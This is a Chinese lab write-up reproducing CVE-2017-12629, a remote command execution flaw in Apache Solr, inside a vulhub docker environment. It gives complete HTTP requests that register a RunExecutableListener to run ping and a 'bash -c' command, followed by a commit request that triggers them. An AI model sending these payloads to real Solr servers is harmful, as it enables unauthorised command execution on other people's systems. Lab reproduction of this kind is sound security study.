# Apache Solr RCE 远程命令执行漏洞 CVE-2017-12629

# 漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

# 影响版本


# 环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2017-12629
docker-compose build
docker-compose up -d
1
2
3
4

# 漏洞复现

先请求url地址获取 core 内容

/solr/admin/cores
1

通过查看代码,能够触发命令执行的事件有两个:postCommitnewSearcher

ec27d0b9-f86d-43b7-9fe4-1bba02cbf334

第一个请求包用于载入缓存中

exe : ping  执行的命令
dir: 命令存在的目录位置
args:命令参数
1
2
3

如下请求包执行的是 /bin/ping 1.1.1.1

POST /solr/demo/config HTTP/1.1
Host:
Connection: close
Content-Type: application/json  
Content-Length: 198

{
  "add-listener" : {
    "event":"postCommit",
    "name":"newlistener-1",
    "class":"solr.RunExecutableListener",
    "exe":"ping",
    "dir":"/bin/",
    "args":["1.1.1.1"]
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

image-20220307151501330

第二个请求包用于更新缓存并执行命令

POST /solr/demo/update

[{"id":"test"}]
1
2
3

进入docker容器查看发现命令已经执行

53ffedcf-5cc3-42cf-9623-a076ed001ac8

使用 newSearcher可以直接加载入缓存执行命令

POST /solr/demo/config HTTP/1.1
Host:
Connection: close
Content-Type: application/json  
Content-Length: 198

{
  "add-listener" : {
    "event":"newSearcher",
    "name":"newlistener-2",
    "class":"solr.RunExecutableListener",
    "exe":"bash",
    "dir":"/bin/",
    "args":[
         "-c",
         "mkdir /tmp/vuln",
    ]
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

成功执行了创建文件的命令

567692f5-4845-439f-b747-020011068da8

如果想要执行其他命令,则需要命令的的位置,例如执行ping,则需要设置dir参数为 /usr/bin/ping 或者 /bin/ping,如果需要检测漏洞是否存在则可以使用 dnslog来检测